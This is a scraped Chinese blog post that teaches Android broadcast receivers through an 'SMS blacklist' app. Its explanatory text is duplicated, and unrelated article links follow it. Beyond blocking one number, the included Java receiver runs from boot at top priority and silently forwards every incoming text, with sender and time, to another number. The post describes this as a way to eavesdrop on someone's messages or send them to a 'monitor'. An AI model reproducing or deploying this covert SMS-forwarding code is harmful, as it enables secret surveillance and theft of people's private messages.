android广播机制初步学习——短信黑名单
来源:互联网 发布:知敬畏明底线敢做 编辑:程序博客网 时间:2024/05/22 14:42
andriod广播机制中主要使用到的两个类:Broadcast和BroadcastReceiver。即一个发送一个接受。
发送的时候是用Intent来携带数据(广播)的,利用Intent中的标识来匹配,实现接收需要接收的广播。
首先是注册,有两种方式:
一个是配置文件注册:
代码注册时:应用程序关闭就不再接受广播。
在注册广播的时候,要分析清楚应用程序的功能,选择合适的注册方式。
android的广播分三种:
1、常规广播:所有匹配的接收器都会接收到此广播。 发送方式:sendBroadcast(intent)
2、粘性广播:可以在接受到注册之前发出的广播。最常见的例子就是WIFI。 发送方式:sendStickyBroadcast(intent)
3、有序广播:根据广播接收器的意图过滤器的priority属性值的大小一次调用,并可以通过调用abortBroadcast()阻止广播继续向下传播。
发送方式:sendOrderedBroadcast(intent,"permission").这里短信的广播机制就是有序广播,因此可以在接收到广播之后做点儿什么,加黑或者转发什么的。
短信防火墙以的思路是:首先是这个软件需要在手机系统启动的时候自动启动,而android手机在启动的时候会发送一个机广播,写一个类继承BroadcastReceiver接受开机广播来启动应用程序。
然后就是拦截短信,短信是有序广播,再得到短信的发送号码之后,与预先添加的黑名单进行比较,如果相同,就阻止接受这个号码发来的短信。
同理还可以窃听别人发来的短信,从广播中读到特定的号码,将这个短信发送到别的号码或者上传到网络。
下面是源码:
注册接收广播:
以上是一点儿自己的总结,如果有理解不到位或者是错误的地方,欢迎指教。 ^_*
发送的时候是用Intent来携带数据(广播)的,利用Intent中的标识来匹配,实现接收需要接收的广播。
首先是注册,有两种方式:
一个是配置文件注册:
<receiver android:name=".ClassName"><intent-filter><action android:name="android.intent.action.XXXX"/></intent-filter></receiver>一个是代码注册:
/** 编码注册广播接收器*/public void regist(View v){// receiver = new TestBR();isRegist = true;IntentFilter filter = new IntentFilter("android.intent.action.TestBR");this.registerReceiver(receiver, filter);Toast.makeText(this, "注册成功", 0).show();}/** 编码解注册广播接收器*/public void unregist(View v){if (receiver != null && isRegist){unregisterReceiver(receiver);receiver = null;isRegist = false;Toast.makeText(this, "解注册成功", 0).show();} else{Toast.makeText(this, "未注册", 0).show();}}//应用程序销毁的时候,要把广播接收器一起销毁。@Overrideprotected void onDestroy(){if (receiver != null && isRegist){unregisterReceiver(receiver);receiver = null;isRegist = false;Toast.makeText(this, "解注册成功", 0).show();}super.onDestroy();}配置文件注册时:相当于是注册到android系统的CPU里面去了,一旦注册成功,就无法再控制他。不管应用程序关没关闭,只要有对应的广播来,都会调用对应的广播接收器类。比如电池管理程序,比如短信、电话的黑名单功能,都是需要系统开机就运行,一直监测到关机。
代码注册时:应用程序关闭就不再接受广播。
在注册广播的时候,要分析清楚应用程序的功能,选择合适的注册方式。
android的广播分三种:
1、常规广播:所有匹配的接收器都会接收到此广播。 发送方式:sendBroadcast(intent)
2、粘性广播:可以在接受到注册之前发出的广播。最常见的例子就是WIFI。 发送方式:sendStickyBroadcast(intent)
3、有序广播:根据广播接收器的意图过滤器的priority属性值的大小一次调用,并可以通过调用abortBroadcast()阻止广播继续向下传播。
发送方式:sendOrderedBroadcast(intent,"permission").这里短信的广播机制就是有序广播,因此可以在接收到广播之后做点儿什么,加黑或者转发什么的。
短信防火墙以的思路是:首先是这个软件需要在手机系统启动的时候自动启动,而android手机在启动的时候会发送一个机广播,写一个类继承BroadcastReceiver接受开机广播来启动应用程序。
然后就是拦截短信,短信是有序广播,再得到短信的发送号码之后,与预先添加的黑名单进行比较,如果相同,就阻止接受这个号码发来的短信。
同理还可以窃听别人发来的短信,从广播中读到特定的号码,将这个短信发送到别的号码或者上传到网络。
下面是源码:
注册接收广播:
package com.song;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class BootCompletedReceiver extends BroadcastReceiver{/*** 注册接收开机广播*/@Overridepublic void onReceive(Context context, Intent intent){Log.v("TAG", "-------BootCompletedReceiver onReceive");}}注册短信接收广播:
package com.song;import java.text.SimpleDateFormat;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;public class SmsgBroadcastReceiver extends BroadcastReceiver{public SmsgBroadcastReceiver(){Log.v("TAG", "SmsgBroadcastReceiver onCreat");}@Overridepublic void onReceive(Context context, Intent intent){Log.v("TAG", "SmsgBroadcastReceiver onReceive()");Object[] pdus = (Object[]) intent.getExtras().get("pdus");if (pdus!=null&&pdus.length>0){SmsMessage[] messages = new SmsMessage[pdus.length];for (int i = 0; i < pdus.length; i++){byte[] pdu = (byte[]) pdus[i];messages[i] = SmsMessage.createFromPdu(pdu);}for(SmsMessage smsg : messages){//得到短信内容String content = smsg.getMessageBody();//得到发送短信的号码String sender = smsg.getOriginatingAddress();if (sender.equals("1111")){//预先添加黑名单,例如 :1111//终止广播的继续传播abortBroadcast();Log.v("TAG", "短信来自黑名单号码:"+sender);}Date date = new Date(smsg.getTimestampMillis());// 得到短信的发送时间// 把收到的短信传递给监控者// 1>直接把短信转发给监控者 2>可以通过把数据上传至互联网应用SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendContent = format.format(date) + ":" + sender + "--"+ content;SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, sendContent, null,null);Log.v("TAG", sendContent);}}}}androidManifirst.xml文件配置:
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.song" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/icon" android:label="@string/app_name"> <activity android:name=".SmsgActivity" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 注册接收开机广播--><receiver android:name=".BootCompletedReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter></receiver><!-- 接收短信--><receiver android:name=".SmsgBroadcastReceiver"><!-- android:priority="1000" 将这个接收器的优先级别声明到最大,接收到广播之后可以对广播序列进行操作 --><intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter></receiver> </application> <!-- 开机广播权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- 接收短信权限 --> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <!-- 发送短信权限 --><uses-permission android:name="android.permission.SEND_SMS"/></manifest>
以上是一点儿自己的总结,如果有理解不到位或者是错误的地方,欢迎指教。 ^_*
- android广播机制初步学习——短信黑名单
- Android广播机制—拦截接收短信
- 广播组件的实践——短信黑名单
- android短信和广播机制
- Android学习笔记——广播机制
- Android学习笔记——广播机制
- 广播机制详解——监听短信到来的广播
- android 黑名单 短信拦截
- 黑名单拦截短信【Android】
- android广播初步----使用广播接收者窃听短信
- Android之广播机制—自定义广播
- Android之广播机制—有序广播
- Android之广播机制—本地广播
- Android——BroadcastReceiver 广播 短信拦截
- Android学习--广播机制
- Android广播机制学习
- Android 学习 广播机制
- Android学习:广播机制
- 2011-09-20周二
- 【数字图像处理】图像二值化,腐蚀膨胀,开闭运算,击中击不中变换
- 为js和css文件自动添加版本号
- Git 和 Github 初次使用
- sort()函数与qsort()函数及其用法
- android广播机制初步学习——短信黑名单
- RelativeLayout属性详解
- 字符串常量指针与字符数组的区别
- UML(No.17)
- C++为什么难学
- ios实现基于socket tcp/ip 的通讯
- pku acm 1035
- QQ来信息时电脑声音会变小的解决方法
- 和李记者去剁人